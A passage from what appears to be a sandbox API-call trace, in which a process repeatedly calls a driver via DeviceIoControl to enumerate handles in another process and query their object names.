ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.803] ObfDereferenceObject (Object=0xfffff8a001aae1f0) returned 0x1 [0112.803] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.803] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.803] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.803] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.803] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.803] PsAcquireProcessExitSynchronization () returned 0x0 [0112.803] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.803] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001aacfc0, HandleInformation=0x0) returned 0x0 [0112.803] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.803] PsReleaseProcessExitSynchronization () returned 0x2 [0112.803] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.803] ObQueryNameString (in: Object=0xfffff8a001aacfc0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.803] ObfDereferenceObject (Object=0xfffff8a001aacfc0) returned 0x1 [0112.803] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.803] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.803] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.803] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.803] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.803] PsAcquireProcessExitSynchronization () returned 0x0 [0112.803] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.804] ObReferenceObjectByHandle (in: Handle=0x268, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001aad6f0, HandleInformation=0x0) returned 0x0 [0112.804] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.804] PsReleaseProcessExitSynchronization () returned 0x2 [0112.804] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.804] ObQueryNameString (in: Object=0xfffff8a001aad6f0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.804] ObfDereferenceObject (Object=0xfffff8a001aad6f0) returned 0x1 [0112.804] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.804] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.804] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.804] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.884] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.885] PsAcquireProcessExitSynchronization () returned 0x0 [0112.885] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.885] ObReferenceObjectByHandle (in: Handle=0x284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0012500e0, HandleInformation=0x0) returned 0x0 [0112.885] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.885] PsReleaseProcessExitSynchronization () returned 0x2 [0112.885] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.885] ObQueryNameString (in: Object=0xfffff8a0012500e0, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.885] ObfDereferenceObject (Object=0xfffff8a0012500e0) returned 0x1 [0112.885] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.885] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.885] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.885] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.885] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.885] PsAcquireProcessExitSynchronization () returned 0x0 [0112.885] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.885] ObReferenceObjectByHandle (in: Handle=0x288, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00206f1f0, HandleInformation=0x0) returned 0x0 [0112.885] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.885] PsReleaseProcessExitSynchronization () returned 0x2 [0112.885] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.885] ObQueryNameString (in: Object=0xfffff8a00206f1f0, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.885] ObfDereferenceObject (Object=0xfffff8a00206f1f0) returned 0x1 [0112.885] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.885] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.885] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.885] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.885] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.885] PsAcquireProcessExitSynchronization () returned 0x0 [0112.885] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.886] ObReferenceObjectByHandle (in: Handle=0x28c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089e92b0, HandleInformation=0x0) returned 0x0 [0112.886] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.886] PsReleaseProcessExitSynchronization () returned 0x2 [0112.886] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.886] ObQueryNameString (in: Object=0xfffff8a0089e92b0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.886] ObfDereferenceObject (Object=0xfffff8a0089e92b0) returned 0x1 [0112.886] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.886] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.886] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.886] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.886] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.886] PsAcquireProcessExitSynchronization () returned 0x0 [0112.886] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.886] ObReferenceObjectByHandle (in: Handle=0x298, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001247880, HandleInformation=0x0) returned 0x0 [0112.886] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.886] PsReleaseProcessExitSynchronization () returned 0x2 [0112.886] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.886] ObQueryNameString (in: Object=0xfffff8a001247880, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.886] ObfDereferenceObject (Object=0xfffff8a001247880) returned 0x1 [0112.886] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.886] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.886] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.886] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.886] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.886] PsAcquireProcessExitSynchronization () returned 0x0 [0112.886] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.886] ObReferenceObjectByHandle (in: Handle=0x2a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001b237a0, HandleInformation=0x0) returned 0x0 [0112.886] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.886] PsReleaseProcessExitSynchronization () returned 0x2 [0112.886] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.886] ObQueryNameString (in: Object=0xfffff8a001b237a0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.886] ObfDereferenceObject (Object=0xfffff8a001b237a0) returned 0x1 [0112.886] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.887] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.887] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.887] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.887] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.887] PsAcquireProcessExitSynchronization () returned 0x0 [0112.887] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.887] ObReferenceObjectByHandle (in: Handle=0x2b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001625eb0, HandleInformation=0x0) returned 0x0 [0112.887] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.887] PsReleaseProcessExitSynchronization () returned 0x2 [0112.887] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.887] ObQueryNameString (in: Object=0xfffff8a001625eb0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.887] ObfDereferenceObject (Object=0xfffff8a001625eb0) returned 0x1 [0112.887] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.887] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.887] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.887] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.887] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.887] PsAcquireProcessExitSynchronization () returned 0x0 [0112.887] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.887] ObReferenceObjectByHandle (in: Handle=0x2cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0017fefc0, HandleInformation=0x0) returned 0x0 [0112.887] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.887] PsReleaseProcessExitSynchronization () returned 0x2 [0112.887] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.887] ObQueryNameString (in: Object=0xfffff8a0017fefc0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.887] ObfDereferenceObject (Object=0xfffff8a0017fefc0) returned 0x1 [0112.887] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.887] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.887] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.887] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0112.887] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.887] PsAcquireProcessExitSynchronization () returned 0x0 [0112.887] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.887] ObReferenceObjectByHandle (in: Handle=0x2d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800346f580, HandleInformation=0x0) returned 0x0 [0112.887] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.888] PsReleaseProcessExitSynchronization () returned 0x2 [0112.888] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.888] ObQueryNameString (in: Object=0xfffffa800346f580, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.888] ObfDereferenceObject (Object=0xfffffa800346f580) returned 0x2 [0112.888] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.888] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.888] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.888] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.888] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.888] PsAcquireProcessExitSynchronization () returned 0x0 [0112.888] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.888] ObReferenceObjectByHandle (in: Handle=0x2d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001811930, HandleInformation=0x0) returned 0x0 [0112.888] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.888] PsReleaseProcessExitSynchronization () returned 0x2 [0112.888] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.888] ObQueryNameString (in: Object=0xfffff8a001811930, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.888] ObfDereferenceObject (Object=0xfffff8a001811930) returned 0x1 [0112.888] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.888] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.888] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.888] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.888] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.888] PsAcquireProcessExitSynchronization () returned 0x0 [0112.888] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.888] ObReferenceObjectByHandle (in: Handle=0x2e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001b633e0, HandleInformation=0x0) returned 0x0 [0112.888] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.888] PsReleaseProcessExitSynchronization () returned 0x2 [0112.888] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.888] ObQueryNameString (in: Object=0xfffff8a001b633e0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.888] ObfDereferenceObject (Object=0xfffff8a001b633e0) returned 0x1 [0112.888] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.889] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.889] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.889] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.889] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.889] PsAcquireProcessExitSynchronization () returned 0x0 [0112.889] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.889] ObReferenceObjectByHandle (in: Handle=0x2ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001a63b80, HandleInformation=0x0) returned 0x0 [0112.889] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.889] PsReleaseProcessExitSynchronization () returned 0x2 [0112.889] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.889] ObQueryNameString (in: Object=0xfffff8a001a63b80, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.889] ObfDereferenceObject (Object=0xfffff8a001a63b80) returned 0x1 [0112.889] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.889] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.889] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.889] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.889] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.889] PsAcquireProcessExitSynchronization () returned 0x0 [0112.889] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.889] ObReferenceObjectByHandle (in: Handle=0x2f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00179dd10, HandleInformation=0x0) returned 0x0 [0112.889] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.889] PsReleaseProcessExitSynchronization () returned 0x2 [0112.889] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.889] ObQueryNameString (in: Object=0xfffff8a00179dd10, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.889] ObfDereferenceObject (Object=0xfffff8a00179dd10) returned 0x1 [0112.889] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.889] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.889] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.889] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.889] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.889] PsAcquireProcessExitSynchronization () returned 0x0 [0112.889] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.889] ObReferenceObjectByHandle (in: Handle=0x2f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001f44bf0, HandleInformation=0x0) returned 0x0 [0112.890] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.890] PsReleaseProcessExitSynchronization () returned 0x2 [0112.890] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.890] ObQueryNameString (in: Object=0xfffff8a001f44bf0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.890] ObfDereferenceObject (Object=0xfffff8a001f44bf0) returned 0x1 [0112.890] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.890] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.890] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.890] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, 